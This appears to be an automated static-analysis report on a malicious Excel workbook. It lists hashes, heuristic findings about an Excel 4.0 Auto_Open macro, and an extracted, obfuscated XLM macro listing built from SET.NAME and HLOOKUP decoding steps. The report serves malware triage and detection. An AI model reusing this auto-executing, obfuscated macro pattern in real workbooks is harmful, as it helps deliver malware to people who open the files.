Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f94a1ef59510813f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:13 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: da378d0b3188411edd6bcd1bd73e1265 SHA-1: 27b3889a0a54c1138262c32135b012d0578ea956 SHA-256: f94a1ef59510813f9da7f236551841173696023a8614fec83aa92ab497dd058b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6583 bytes
SHA-256: 2b2a9deafddcfb28993e9d88059145277939a002c9972a288e1b5171575d7fab
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FaEwT
' 0018     24 LABEL : Cell Value, String Constant - aaSeZgwty len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A174 
' 0018     25 LABEL : Cell Value, String Constant - CuaGuBgpSp len=0 
' 0018     22 LABEL : Cell Value, String Constant - eYKIGTe len=0 
' 0018     22 LABEL : Cell Value, String Constant - fOWSbfL len=0 
' 0018     23 LABEL : Cell Value, String Constant - gifpdpJW len=0 
' 0018     25 LABEL : Cell Value, String Constant - hZSKgAzdRF len=0 
' 0018     23 LABEL : Cell Value, String Constant - JAfzXimk len=0 
' 0018     22 LABEL : Cell Value, String Constant - jDnwRIo len=0 
' 0018     20 LABEL : Cell Value, String Constant - kVryi len=0 
' 0018     22 LABEL : Cell Value, String Constant - MEHECwB len=0 
' 0018     20 LABEL : Cell Value, String Constant - MZSGL len=0 
' 0018     21 LABEL : Cell Value, String Constant - otAOxj len=0 
' 0018     26 LABEL : Cell Value, String Constant - TdXdbMJzbdt len=0 
' 0018     24 LABEL : Cell Value, String Constant - vAfLVSBZN len=0 
' 0018     22 LABEL : Cell Value, String Constant - VMvRRLX len=0 
' 0018     22 LABEL : Cell Value, String Constant - xaFFwPH len=0 
' 0018     21 LABEL : Cell Value, String Constant - XeRdCG len=0 
' 0018     22 LABEL : Cell Value, String Constant - xNGIsxj len=0 
' 0018     21 LABEL : Cell Value, String Constant - xtcjCa len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZALPpoPBSz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FaEwT,Q65,"",536.00000000000000000000
'  FaEwT,Q66,"",-366.00000000000000000000
'  FaEwT,Q67,"",-323.00000000000000000000
'  FaEwT,Q68,"",336.00000000000000000000
'  FaEwT,Q69,"",717.00000000000000000000
'  FaEwT,Q70,"",-311.00000000000000000000
'  FaEwT,A77,"SET.NAME("MZSGL",0+VALUE("0"))",""
'  FaEwT,A80,"SET.NAME("eYKIGTe",MZSGL)",""
'  FaEwT,A83,"SET.NAME("XeRdCG",MZSGL)",""
'  FaEwT,A87,"SET.NAME("xNGIsxj",COUNTA(CuaGuBgpSp))",""
'  FaEwT,A92,"SET.NAME("xtcjCa",COUNTA(TdXdbMJzbdt))",""
'  FaEwT,A97,[],""
'  FaEwT,A102,"SET.NAME("vAfLVSBZN","")",""
'  FaEwT,A106,"eYKIGTe",""
'  FaEwT,A110,"SET.NAME("kVryi",HLOOKUP("*",CuaGuBgpSp,eYKIGTe,FALSE))",""
'  FaEwT,A115,"gifpdpJW",""
'  FaEwT,A118,"SET.NAME("otAOxj",MZSGL)",""
'  FaEwT,A122,[],""
'  FaEwT,A127,"otAOxj",""
'  FaEwT,A131,"fOWSbfL",""
'  FaEwT,A135,"aaSeZgwty",""
'  FaEwT,A138,"xaFFwPH",""
'  FaEwT,A142,"SET.NAME("jDnwRIo",VALUE(HLOOKUP("*",TdXdbMJzbdt,xaFFwPH,FALSE)))",""
'  FaEwT,A147,"JAfzXimk",""
'  FaEwT,A152,"vAfLVSBZN",""
'  FaEwT,A154,"XeRdCG",""
'  FaEwT,A156,NEXT(),""
'  FaEwT,A158,"hZSKgAzdRF",""
'  FaEwT,A161,[],""
'  FaEwT,A163,"MEHECwB",""
'  FaEwT,A167,NEXT(),""
'  FaEwT,A171,RETURN(),""
'  FaEwT,A198,"SET.NAME("VMvRRLX",A77)",""
'  FaEwT,A201,"CuaGuBgpSp",""
'  FaEwT,A204,"SET.NAME("TdXdbMJzbdt",R53C15)",""
'  FaEwT,A208,"SET.NAME("MEHECwB",214)",""
'  FaEwT,A210,"SET.NAME("ZALPpoPBSz",1)",""
'  FaEwT,A213,VMvRRLX(),""
'  FaEwT,A214,HALT(),""

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